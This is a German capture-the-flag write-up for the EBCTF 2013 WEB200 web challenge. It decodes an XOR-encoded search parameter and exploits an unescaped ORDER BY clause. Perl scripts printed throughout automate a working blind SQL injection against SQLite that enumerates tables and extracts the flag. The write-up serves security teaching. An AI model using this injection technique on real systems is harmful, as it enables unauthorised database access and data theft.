EBCTF Teaser 2013 – WEB200

EBCTF Teaser 2013 - WEB200 - task description

Diese Challenge (WEB200 – “Wooden Shoes”) war umfangreicher als zuerst erwartet. Alles beginnt mit einer kurzen Beschreibung und der Benennung einer Webseite.

EBCTF Teaser 2013 - WEB200 - Wooden Shoes website

Wir finden eine Webseite vor, auf der Schuhe gesucht und bestellt werden können. Dem ersten Eindruck nach werden wir eine SQL-Injection oder ähnliches durchführen müssen. Beim Versuch, Sonderzeichen in das Suchfeld einzufügen, erhalten wir jedoch, diese Ausgabe:

EBCTF Teaser 2013 - WEB200 - sql injection error

So kommen wir also nicht weiter.

Wenn eine reguläre Suchanfrage abgesendet wird, kann man jedoch folgende Änderung in der URL feststellen:

EBCTF Teaser 2013 - WEB200 - parameter encoding

Das von uns eingegebene Suchwort wurde von der Webanwendung irgendwie im Parameter “what” kodiert. Die Vermutung liegt daher nahe, dass wir über diesen kodierten Parameter doch Sonderzeichen einfügen und damit eine SQL-Injection durchführen könnten.

Dazu müssen wir jedoch die Kodierung in Erfahrung bringen um eigene Zeichen in die Suchanfrage einbringen zu können. Bei mehreren aufeinander folgenden Suchanfragen, kann man folgendes feststellen:

  • “A”                   —> what=274a9b5552ab43
  • “AA”                 —> what=2701e15749a145d9
  • “AAA”               —> what=2701aa2d4bba4fdfdb
  • “AAAA”             —> what=2701aa6631b854d5ddae

Gleiche Zeichen führen zu einer gleichen Kodierung! Damit sollte sich eine Analyse einfach gestalten. Jedoch scheint die Position des Zeichens ebenfalls eine Rolle zu spielen. Zur Unterstützung der Analyse habe ich folgendes Perl-Skript entwickelt:

#!/usr/bin/perl -w

for ($char=0; $char<=255; $char++) {

  $words = chr($char);

  $get = `curl -s "http://54.228.109.101:5000?action=search&words=$words&sort=price"`;
  if (index($get, "what=") != -1) {
    $get = substr($get, index($get, "what=")+5, index($get, '"', index($get, "what=")+5)-index($get, "what=")-5);

    $res = substr($get, 0, 2);
    $hex = sprintf("%02x", $char);
    $bin = sprintf("%08b", $char);
    $bin2 = sprintf("%08b", hex($res));

    print "$char == 0x" . $hex . " == $bin ($words) = 0x " . $res . " == $bin2 == " . hex($res) . "\n";
  }

}

Hierbei wird jedes Zeichen einmal an Position Eins kodiert und in allen möglichen Zahlendarstellungn ausgegeben. So sollte es möglich sein, eine Kodierung zu erkennen. Nach Ausführung erhalten wir dieses Ergebnis:

[...]
97 == 0x61 == 01100001 (a) = 0x 07 == 00000111 == 7
98 == 0x62 == 01100010 (b) = 0x 04 == 00000100 == 4
99 == 0x63 == 01100011 (c) = 0x 05 == 00000101 == 5
100 == 0x64 == 01100100 (d) = 0x 02 == 00000010 == 2
101 == 0x65 == 01100101 (e) = 0x 03 == 00000011 == 3
102 == 0x66 == 01100110 (f) = 0x 00 == 00000000 == 0
103 == 0x67 == 01100111 (g) = 0x 01 == 00000001 == 1
104 == 0x68 == 01101000 (h) = 0x 0e == 00001110 == 14
105 == 0x69 == 01101001 (i) = 0x 0f == 00001111 == 15
106 == 0x6a == 01101010 (j) = 0x 0c == 00001100 == 12
107 == 0x6b == 01101011 (k) = 0x 0d == 00001101 == 13
108 == 0x6c == 01101100 (l) = 0x 0a == 00001010 == 10
109 == 0x6d == 01101101 (m) = 0x 0b == 00001011 == 11
110 == 0x6e == 01101110 (n) = 0x 08 == 00001000 == 8
111 == 0x6f == 01101111 (o) = 0x 09 == 00001001 == 9
112 == 0x70 == 01110000 (p) = 0x 16 == 00010110 == 22
113 == 0x71 == 01110001 (q) = 0x 17 == 00010111 == 23
114 == 0x72 == 01110010 (r) = 0x 14 == 00010100 == 20
115 == 0x73 == 01110011 (s) = 0x 15 == 00010101 == 21
116 == 0x74 == 01110100 (t) = 0x 12 == 00010010 == 18
117 == 0x75 == 01110101 (u) = 0x 13 == 00010011 == 19
118 == 0x76 == 01110110 (v) = 0x 10 == 00010000 == 16
119 == 0x77 == 01110111 (w) = 0x 11 == 00010001 == 17
120 == 0x78 == 01111000 (x) = 0x 1e == 00011110 == 30
121 == 0x79 == 01111001 (y) = 0x 1f == 00011111 == 31
122 == 0x7a == 01111010 (z) = 0x 1c == 00011100 == 28
[...]

Bei Kodierungen (besonders denen, die alle Zeichen erhalten sollen) wird man um das Ausprobieren von XOR nicht herum kommen. Und auch hier kann man feststellen, dass jedes Zeichen mit dem selben Wert (hier: 0x66) per XOR das entsprechende kodierte Zeichen ergibt.

Da jedoch jede Position separat kodiert wird, müssen wir diesen XOR-Wert jeweils gesondert bestimmen. Hierfür habe ich folgendes Skript geschrieben:

#!/usr/bin/perl -w

print '@xor = (';

$words = "";
for ($pos=0; $pos<=64; $pos+=2) {

  $words = $words . "a";

  $get = `curl -s "http://54.228.109.101:5000?action=search&words=$words&sort=price"`;
  if (index($get, "what=") != -1) {
    $get = substr($get, index($get, "what=")+5, index($get, '"', index($get, "what=")+5)-index($get, "what=")-5);

    $res = substr($get, $pos, 2);
    $res = hex($res);
    $res ^= ord("a");

    printf("0x%02x, ", $res);

  } else {
    print "ERROR!\n";
    last;
  }

}

print "\n";

Das Skript kodiert jeweils das Zeichen “a” und berechnet aus dem Ergebnis des “what”-Parameters den XOR-Wert mit dem “a” an der entsprechenden Position kodiert worden ist. Bei Ausführung erhalten wir dieses Ausgabe:

rup0rt@lambda:~/EBCTF2013/WEB200$ ./xor.pl
@xor = (0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb,
0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a,
0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45,
0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43,
0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, [...]

Das Skript hat einen XOR-Strom erstellt und wir können erkennen, dass sich die Werte nach 32 Positionen wiederholen. Mit diesem Wissen können wir nun ein weiteres Skript, zunächst zum Dekodieren des “what”-Parameters erstellen. Glücklicherweise hat das XOR-Skript das Array bereits im PERL-Format ausgegeben ;-).

#!/usr/bin/perl

$what = $ARGV[0];
@xor = (0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b);

print "WHAT = $what\n";

for (pos=0; $pos < length($what); $pos+=2) {
  $char = substr($what, $pos, 2);
  $int = hex($char);
  $res = $int ^ $xor[$pos/2];

  print chr($res);
}

print "\n";

Mit diesem Skript können wir nun beliebige “what”-Parameter dekodieren. Bei der Suche nach “123” erhalten wir “what=5772d82d4bba4fdfdb”. Bei Übergabe an das obige Skript können wir jetzt folgendes ablesen:

rup0rt@lambda:~/EBCTF2013/WEB200$ ./decode.pl 5772d82d4bba4fdfdb
WHAT = 5772d82d4bba4fdfdb
123
price

Der Parameter enthält also unsere Suche “123” und die auf der Webseite per Dropdown-Feld zu wählende Sortierung (hier: “price”). Mit diesem Wissen sollte es nun möglich sein, eigene Suchanfragen zu erstellen. Dazu verwende ich folgendes Skript zur Kodierung und Senden der Anfrage an den Server:

#!/usr/bin/perl

$search = $ARGV[0];
$order = $ARGV[1];

@xor = (0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b);

$words = "$search\n$order";

$what = "";
for (pos=0; $pos < length($words); $pos+=1) {
  $char = substr($words, $pos, 1);

  $int = ord($char);
  $int ^= $xor[$pos];

  $what .= sprintf("%02x", $int);
}

print "WHAT = $what\n";

$get = `curl -s "http://54.228.109.101:5000?action=display&what=$what"`;

print "$get\n";

Nun sollte es uns also möglich sein, Suchanfragen mit allen Sonderzeichen an den Server zu senden. Beim Versuch, eine SQL-Injection über den Such-Parameter “search” durchzuführen, stellt man jedoch fest, dass sich hier kein Angriff durchführen lässt. (Vielleicht bin ich auch einfach zu schlecht, was SQL-Angriff angeht ;-).

Beim Sortier-Parameter “order” sieht das Ergebnis jedoch etwas anders aus. Hier lassen sich einfach SQL-Statements einfügen, wie beispielsweise:

rup0rt@lambda:~/EBCTF2013/WEB200$ ./web200.pl "" "price LIMIT 0,1"
WHAT = 6c30994e58ad06f0f7860a97b9c464df
[...]
          <tr>
            <td>Traditional Klomp</td>
            <td>321</td>
            <td>12.5</td>
          </tr>
[...]

Anstatt der eigentlichen zwei Ergebnisse, sehen wir nur noch ein einziges, was uns zeigt, dass die SQL-Injection erfolgreich war. Die interne SQL-Abfrage sollte auf dem Server also wie folgt aussehen:

SELECT name,stock,price FROM table WHERE search LIKE
   "%$escaped_search%" ORDER BY $non_escaped_order;

Das Problem hierbei ist jedoch, dass bei SQL-Abfragen zwingend die Reihenfolge einzuhalten ist. Das heißt, wir können nach einem “ORDER BY”-Statement kein “UNION SELECT” oder ähnliches durchführen. (Möglicherweise fehlt mir auch hier weiteres Wissen um es dennoch zu schaffen ;-).

Ohne ein “UNION SELECT” wird es schwierig, weitere Daten aus der internen Datenbank auszulesen. Alles was bleibt, ist die Möglichkeit, irgendwie eine Blind SQL-Injection durchzuführen und über Veränderung mit dem “LIMIT”-Statement das Ergebnis zu erhalten.

Blind SQL-Injections funktionieren in den meisten Fällen mit der Überprüfung eines Wahrheitswertes, von dessen Wert eine Veränderung in der Ausgabe abhängt. In diesem Fall habe ich folgende Abfrage gewählt:

price LIMIT (CASE WHEN 1=1 THEN 1 ELSE 0 END)

Wenn die Abfrage “1=1” WAHR ist, dann wird “LIMIT 1” ausgeführt und wir erhalten auf der Webseite ein Ergebnis der Suchanfrage. Wenn die Abfrage FALSCH ist, wird “LIMIT 0” ausgeführt und wir erhalten kein Ergebnis (oder einen Fehler).

Über Versuche mit diesem Parameter können wir nun also die Datenbank untersuchen. Wir beginnen mit dem Datenbank-Typ, indem wir einige Datenbank-Namen raten. Hier werden wir mit folgender Abfrage fündig:

price LIMIT (CASE WHEN (SELECT 1 FROM sqlite_master) THEN 1 ELSE 0 END)

Wir erhalten ein Erebnis und können daher schlussfolgdern, dass es sich um eine SQLite-Datenbank handeln muss. Nun können wir versuchen, die Tabellen-Namen zu enumerieren. Dazu bietet sich folgende SQL-Anfrage an:

price LIMIT (CASE WHEN 
substr((SELECT name FROM sqlite_master LIMIT 0,1),1,1)='a'
THEN 1 ELSE 0 END)

Wir lesen hier die Spalte “name” der Tabelle “sqlite_master” aus, die uns angibt, welche weiteren Tabellen vorhanden sind. Dazu nutzen wir die SQLite-Funktion “substr”, die (hier) das erste Zeichen “substr(…, 1, 1)” des ersten Eintrags “LIMIT 0,1” ausliest und mit “a” vergleicht.

Diese Abfrage muss automatisiert werden, um alle Zeichen, aller Einträge mit allen Buchstaben zu vergleichen und die Rückgabe des Wahrheitswertes zu interpretieren. Dazu habe ich folgendes Skript entwickelt:

#!/usr/bin/perl

@xor = (0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b);

for ($end=1;$end <= 50; $end++) {

  for ($qq=32;$qq<=128;$qq++) {

    $letter = chr($qq);

    $words = "\nprice LIMIT (CASE WHEN substr((SELECT name FROM sqlite_master LIMIT 0,1),$end,1)=\'$letter\' THEN 1 ELSE 0 END)";

    $what = "";
    for ($pos=0; $pos < length($words); $pos+=1) {
      $char = substr($words, $pos, 1);

      $int = ord($char);
      $int ^= $xor[$pos];

      $what .= sprintf("%02x", $int);
    }

    $get = `curl -s "http://54.228.109.101:5000?action=display&what=$what"`;

    if (index($get, "Traditional Klomp") != -1) {
      print "$end: $letter\n";
      last; 
    }

  }

}
print "\n";

Das Skript fragt den Wahrheitswert für alle Buchstaben über die vorgegebene SQL-Abfrage an (Zeile 11) und meldet entsprechend des Suchergebnisses die Zeichen (Zeilen 25-28). Bei Ausführung können wir folgendes beobachten:

rup0rt@lambda:~/EBCTF2013/WEB200$ ./blind.pl
1: s
2: h
3: o
4: e
5: s

Die erste Tabelle heißt also “shoes”. Da hier offensichtlich die uns bekannten Suchergebnisse herstammen, vermuten wir, dass sich hier keine Flagge befindet. Wir passen das Skript an (“… LIMIT 1,1 …”) und lesen die zweite Tabelle aus:

1: s
2: e
3: c
4: r
5: e
6: t
7: _
8: f
9: l
10: a
11: g

Aha! Es gibt eine Tabellen namens “secret_flag”. Ob hier vielleicht eine Flagge versteckt ist? 🙂 Wir passen das Skript erneut an (“…SELECT flag FROM secret_flag LIMIT 0,1…”) wobei wir den Spaltennamen mit “flag” raten. Wenn wir das Skript nun ausführen, sehen wir:

rup0rt@lambda:~/EBCTF2013/WEB200$ ./blind.pl
1: e
2: b
3: C
4: T
5: F
6: {
7: f
8: 8
9: 2
10: 4
11: f
12: 6
13: f
14: 9
15: b
16: d
17: 9
18: b
19: 7
20: 4
21: 4
22: 9
23: 8
24: 1
25: 3
26: d
27: b
28: f
29: 9
30: b
31: 1
32: 8
33: d
34: 3
35: e
36: 6
37: 6
38: 8
39: }

Die Lösung lautet somit “ebCTF{f824f6f9bd9b7449813dbf9b18d3e668}“.

Leave a Reply

Your email address will not be published. Required fields are marked *